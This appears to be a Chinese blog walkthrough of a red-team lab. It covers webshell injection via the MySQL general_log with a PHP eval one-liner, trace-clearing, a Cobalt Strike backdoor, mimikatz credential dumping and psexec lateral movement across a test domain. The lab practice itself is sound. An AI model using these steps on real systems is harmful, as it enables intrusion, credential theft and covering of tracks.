ATT&CK实战系列——红队实战(一)

环境配置

  • Windows 7 x64(VM1) 192.168.75.171(模拟外网Web服务器,可出网),192.168.71.*(VMnet 1)
  • Windows Server 2008 R2 x64(VM2) 192.168.71.*(VMnet 1,不出网)
  • Win2K3 Metasploitable(VM3) 192.168.71.*(VMnet 1,不出网)

image.png
拓扑图如下:
image.png
VM1、VM2、VM3在同一内网中,VM1 web服务开放在外网,只能通过拿下VM1后将其作为跳板进行横向渗透,拿下win2003和win2008服务器。
将windows2007的phpstudy打开
image.png
image.png

0x01 外网信息收集

端口扫描及目录爆破

nmap -Pn -sT -p 1-1000,1080,3306,3389,6379,27017,8080,8888 192.168.75.171
dirsearch.py -u http://192.168.75.171 -e* -x 301

image.png
image.png

0x02 获取Webshell

根据信息收集得到的信息,可以建立渗透思路

1.3306端口暴力破解

对于3306端口暴力破解,可以利用hydra工具来破解,不过需要一个前提,就是这个服务器开启了3306外连,可以看到这里并没有开启外连

hydra -l root -P 3306_Password.txt mysql://192.168.75.171 -t 16 -e ns -f -vV -I

image.png

2.phpMyAdmin

访问http://192.168.75.171/phpmyadmin/,弱口令root/root成功登入
image.png

2.1phpMyAdmin信息收集

登陆phpMyAdmin后,尝试写入WebShell

select user();
select @@version;
select @@version_compile_os;
select database();
show variables like '%secure%';
show variables like '%general_log%';

image.png
image.png

  • 当secure_file_priv的值为null,表示限制mysqld不允许导入导出
  • 当secure_file_priv的值为/tmp/,表示限制mysqld的导入导出只能发生在/tmp/目录下
  • 当secure_file_priv的值没有具体值时,表示不对mysqld的导入导出做限制

不允许导入导出,因此sql写shell不可行
image.png

2.2general_log日志GetShell

查看日志状态

show variables like '%general%';

image.png

general_log和general_log_file简述
mysql打开general_log开关之后,所有对数据库的操作都将记录在general_log_file指定的文件目录中,以原始的状态来显示,如果将general_log开关打开,general_log_file指定一个php文件,则查询的操作将会全部写入到general_log_file指定的文件,可以通过访问general_log_file指定的文件来获取webshell。

开启日志记录set global general_log = "ON";,再查询日志状态
image.png
执行命令set global general_log_file='C:/phpStudy/www/l.php';,指定日志写入到网站根目录的l.php文件
image.png
执行select '<?php eval($_POST["cmd"]);?>'; ,也就是在l.php中写入一句话木马,然后使用蚁剑进行连接
image.png
image.png
最后一步,将刚才日志文件的路径还原,算是清除痕迹

set global general_log_file='C:/phpStudy/MySQL/data/stu1.log';

0x03 内网渗透

1.CS值入Backdoor

使用CS生成exe可执行Backdoor程序
image.png
生成后,使用蚁剑进行上传到靶机
image.png
上传后在蚁剑中使用终端命令行执行exe

start artifact.exe

可以看到我们CS客户端靶机上线(无杀软)
image.png
常见的杀软进程
image.png

2.信息收集

常用命令如下

ipconfig /all   查看本机ip,所在域
route print     打印路由信息
net view        查看局域网内其他主机名
arp -a          查看arp缓存
whoami
net start       查看开启了哪些服务
net share       查看开启了哪些共享
net share ipc$  开启ipc共享
net share c$    开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""   与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  建立c盘共享
dir \\192.168.xx.xx\c$\user    查看192.168.xx.xx c盘user目录下的文件
net config Workstation   查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 查看本机用户列表
net user /domain         查看域用户
net localgroup administrators   查看本地管理员组(通常会有域用户)
net view /domain         查看有几个域
net user 用户名 /domain   获取指定域用户的信息
net group /domain        查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    查看域中某工作组
net group "domain admins" /domain  查看域管理员的名字
net group "domain computers" /domain  查看域中的其他主机名
net group "doamin controllers" /domain  查看域控制器(可能有多台)

查看权限
image.png
提权到SYSTEM系统权限账户
image.png
使用ipconfig /all判断是否存在域
image.png
查看用户(这里可能会出现1722错误,需在win7修改hosts文件)
image.png
查看系统信息
image.png

2.1内网域信息收集

image.png
arp探测
image.png
查看域内工作组

shell net group /domain

image.png
查看域管名字

shell net group "domain admins" /domain

image.png
查看域控

shell net group "domain controllers" /domain

image.png

3.内网横向

3.1横向探测

image.png
读取内存密码

hashdump

用mimikatz读注册表密码

logonpasswords

image.png
在凭证信息一栏可以清楚查看
image.png

3.2横向移动

CS派生smb beacon,让内网的主机连接到win7。SMB Beacon使用命名管道通过父级Beacon进行通讯,当两个Beacons链接后,子Beacon从父Beacon获取到任务并发送。因为链接的Beacons使用Windows命名管道进行通信,此流量封装在SMB协议中,所以SMB Beacon相对隐蔽,绕防火墙时可能发挥奇效。
简单来说,SMB Beacon有两种方式
第一种直接派生一个孩子,目的为了进一步盗取内网主机的hash
新建一个Listener,payload设置为Beacon SMB
image.png
在已有的Beacon上右键新建会话,选择创建的smb beacon的listerner
image.png
选择后会反弹一个子会话,在external的ip后面会有一个链接的小图标
image.png
第二种在已有的beacon上创建监听,用来作为跳板进行内网穿透,前提是能够通过 shell之类访问到内网其他主机,psexec使用凭证登录其他主机。前面横向探测已经获取到内网内的其他Targets以及读取到的凭证信息,于是可以尝试使用psexec模块登录其他主机,右键选择一台非域控主机ROOT-TVI862UBEH的psexec模块。
image.png
在弹出的窗口中选择使用god.org的Administrator的凭证信息
监听器选择刚才创建的smb beacon,会话也选择对应的smb beacon的会话(上一层的会话)
image.png
可以看到分别执行了

rev2self
make_token GOD.ORG\Administrator N*******123
jump psexec ROOT-TVI862UBEH smb

然后把靶机当作跳板机,使用psexec登录。这里利用psexec有几个条件,登录域控的话,需要使用域管理员组内用户登录;登录普通域成员的话,普通域成员用户或本地administrator用户都可以登录。因此要拿下owa,需要域管理员组内用户,查看域管理员组内用户。

shell net group "domain admins" /domain

image.png
继续刚刚的操作,选择psexec
image.png
最终结果
image.png
此次渗透存在很多问题,后续将进行整改

posted @ 2024-04-29 16:12  NoCirc1e  阅读(129)  评论(0编辑  收藏  举报